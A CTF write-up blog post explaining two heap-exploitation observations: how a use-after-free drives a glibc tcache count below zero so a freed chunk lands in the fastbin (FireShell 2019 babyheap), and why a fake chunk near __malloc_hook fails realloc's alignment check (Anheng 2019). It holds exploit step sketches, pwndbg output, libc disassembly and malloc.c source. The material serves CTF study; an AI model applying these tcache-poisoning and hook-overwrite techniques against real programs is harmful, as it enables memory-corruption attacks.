美文网首页
Some Tips in EXPs of Recent Chal

Some Tips in EXPs of Recent Chal

作者: Kirin_say | 来源:发表于2019-01-30 12:53 被阅读123次

    0x01 babyheap in FireShell CTF 2019

    free into fastbin??

    new()#0x70->tcache chunk
    delete()#free into tcache bin
    edit(p64(fake_addr))#UAF->edit fd 
    #attention: to fix tcache bin:(* tcache_chunk )*fake_addr->fd=0
    new()
    new()#malloc tcache chunk in fake_addr
    new()#0x70->tcache chunk
    #free into fastbin??
    delete()
    

    make sure->free into fastbin
    debug->breakpoint before last delete():

    pwndbg> p main_arena 
    $2 = {
      mutex = 0, 
      flags = 0, 
      have_fastchunks = 1, 
      fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0xcbc2c0, 0x0, 0x0, 0x0, 0x0}
    #free into fastbin
    ......
    ......
    

    It can also be seen&&something more:

    pwndbg> bins
    tcachebins
    0x70 [ -1]: 0x0#attention:-1
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0xcbc2c0 ◂— 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    

    tcache info:

    pwndbg> p  *(struct tcache_perthread_struct *) 0xcbc010
    $3 = {
      counts = "\000\000\000\000\000\377", '\000' <repeats 57 times>, 
      entries = {0x0 <repeats 64 times>}
    }#octal
    
    #malloc.c:
    #typedef struct tcache_perthread_struct
    #{
    # char counts[TCACHE_MAX_BINS];
    #  tcache_entry *entries[TCACHE_MAX_BINS];
    #} tcache_perthread_struct;
    

    It can be seen:
    tcache->counts[0x70]=0377=0xFF

    Hardware breakpoint at tcache->counts[0x70]:

    #read->rwatch
    #write->watch
    #read&write->awatch
    #example:int format: (r/a)watch *(int *)addr
    
    pwndbg> awatch *0x1f05015 
    Hardware access (read/write) watchpoint 1: *0x1f05015
    
    pwndbg> c
    ......
    ......
    ►  0x7fa54bb7f212 <malloc+418>    add    rsp, 0x18
       0x7fa54bb7f216 <malloc+422>    mov    rax, rdx
       0x7fa54bb7f219 <malloc+425>    pop    rbx
       0x7fa54bb7f21a <malloc+426>    pop    rbp
       0x7fa54bb7f21b <malloc+427>    ret    
    ......
    ......
    
    pwndbg> vmmap
    ......
    0x7fa54bae8000     0x7fa54bccf000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    ......
    

    function offset:

    offset=0x7fa54bb7f212-0x7fa54bae8000=0x97212
    

    reverse libc-2.27.so with ida:

    .text:00000000000971F0                 lea     rsi, [rcx+rax*8]
    .text:00000000000971F4                 mov     rdx, [rsi+40h]
    .text:00000000000971F8                 test    rdx, rdx
    .text:00000000000971FB                 jz      loc_970DC
    .text:0000000000097201                 cmp     rax, 3Fh
    .text:0000000000097205                 ja      short loc_97220
    .text:0000000000097207                 mov     rdi, [rdx]
    .text:000000000009720A                 mov     [rsi+40h], rdi
    .text:000000000009720E                 sub     byte ptr [rcx+rax], 1
    .text:0000000000097212
    .text:0000000000097212 loc_97212:                              ; CODE XREF: malloc+9E↑j
    .text:0000000000097212                                         ; malloc+A6↑j ...
    .text:0000000000097212                 add     rsp, 18h
    .text:0000000000097216                 mov     rax, rdx
    .text:0000000000097219                 pop     rbx
    .text:000000000009721A                 pop     rbp
    .text:000000000009721B                 retn
    
    #breakpoint at
    #.text:000000000009720E                 sub     byte ptr [rcx+rax], 1
    #can make sure that:
    #sub     byte ptr [rcx+rax], 1------->
    #tcache->counts[0x70]=0xFF 
    

    correspond to source code in malloc.c:

    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      tcache->entries[tc_idx] = e->next;
      --(tcache->counts[tc_idx]);#this position
      return (void *) e;
    }
    #tcache_put (mchunkptr chunk, size_t tc_idx)
    #{
    #  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
    #  assert (tc_idx < TCACHE_MAX_BINS);
    #  e->next = tcache->entries[tc_idx];
    #  tcache->entries[tc_idx] = e;
    #  ++(tcache->counts[tc_idx]);
    #}
    

    to sum up:

    new()#tcache->counts[0x70]=0
    delete()#tcache->counts[0x70]=1
    edit(p64(fake_addr))#UAF->edit fd->add a chunk in tcache bin
    new()#malloc from tcache bin->
    #tcache->counts[0x70]--
    #tcache->counts[0x70]=0
    new()#malloc from tcache bin-->
    #tcache->counts[0x70]--
    #tcache->counts[0x70]=0-1=0xFF
    new()#0x70->tcache chunk
    delete()#(char )tcache->counts[0x70]=0xFF>7
    #so this chunk free into fastbin bin
    

    0x02 realloc error in anheng CTF 2019.1

    some errors happened when I realloc fake_chunk at __malloc_hook-0x13(chunk_size=0x7F):

    realloc(): invalid pointer: 0x00007f00eb485aed
    

    debug step by step, we can find somthing wrong:

     ► 0x7fdc316ae724 <realloc+100>    test   r14b, 0xf
       0x7fdc316ae728 <realloc+104>    jne    realloc+928 <0x7fdc316aea60>
        ↓
       0x7fdc316aea60 <realloc+928>    mov    ebp, dword ptr [rip + 0x33f6ea] <0x7fdc319ee150>
       0x7fdc316aea66 <realloc+934>    jmp    realloc+266 <0x7fdc316ae7ca>
        ↓
       0x7fdc316ae7ca <realloc+266>    mov    eax, ebp
       0x7fdc316ae7cc <realloc+268>    and    eax, 5
    
    #IDA:
    #  if ( v5 <= -(signed __int64)v6 && !(v5 & 0xF) )
    #  {
    #    _R12 = 0LL;
    #    goto LABEL_9;
    #  }
    

    correspond to source code in malloc.c:

      /* Little security check which won't hurt performance: the allocator
         never wrapps around at the end of the address space.  Therefore
         we can exclude some size values which might appear here by
         accident or by "design" from some intruder.  We need to bypass
         this check for dumped fake mmap chunks from the old main arena
         because the new malloc may provide additional alignment.  */
      if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
           || __builtin_expect (misaligned_chunk (oldp), 0))
          && !DUMPED_MAIN_ARENA_CHUNK (oldp))
          malloc_printerr ("realloc(): invalid pointer");
    
    something else:
    #define misaligned_chunk(p) \
      ((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
       & MALLOC_ALIGN_MASK)
    

    to sum up:

    realloc(): invalid pointer: 0x00007f00eb485aed
    reason:
    Although the header of fake_chunk(0x7F) can bypass the check of chunk_size(like malloc) 
    but there is memory alignment check when realloc a chunk:
    0x00007f00eb485aed&0xF!=0->
    malloc_printerr ("realloc(): invalid pointer");
    

    how could it success when edit fake chunk at &__malloc_hook-0x3.
    In fact, it also works when we edit fake chunk address at &__malloc_hook.
    This is related to the flow of program:

              v9 = strtol(nptr, 0LL, 10);
            }
            while ( v9 - 0x80 > 0xF80 );
            printf("Description :", 0LL);
            if ( *(_DWORD *)(*v10 + 0x40LL) < v9 )
            {
              *(_BYTE *)v10 = (unsigned __int64)realloc((void *)*v10, v9 + 68);
              v6 = 0;
              while ( 1 )
              {
                read(0, (void *)(v6 + 68LL + *v10), 1uLL);
                if ( *(_BYTE *)(v6 + 68LL + *v10) == 10 )
                  break;
                if ( ++v6 >= v9 + 68 )
                  goto LABEL_33;
              }
              *(_BYTE *)(v6 + 68LL + *v10) = 0;
            }
            else
            {
              v5 = 0;
              while ( 1 )
              {
                read(0, (void *)(v5 + 68LL + *v10), 1uLL);
                if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
                  break;
                if ( ++v5 >= v9 )
                  goto LABEL_33;
              }
              *(_BYTE *)(v5 + 68LL + *v10) = 0;
            }
    

    when the size we request below the size of note we malloc before:

    read(0, (void *)(v5 + 68LL + *v10), 1uLL);
     if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
            break;
     if ( ++v5 >= v9 )
            goto LABEL_33;
    

    The program will read the stdin directly into the fake_addr, and realloc won't be called:

    the size of note(struct info:offset of chunk2mem(chunk_addr)=0x40):
    
    __malloc_hook-0x3/__malloc_hook+0x40->a number usually greater than 0x20(we request in exp) 
    In this case, it will read the stdin directly into the fake_addr
    __malloc_hook-0x13+0x40->Null(0)
    In this case, it will call the realloc->error happened
    

    相关文章

      网友评论

          本文标题:Some Tips in EXPs of Recent Chal

          本文链接:https://www.haomeiwen.com/subject/kejxsqtx.html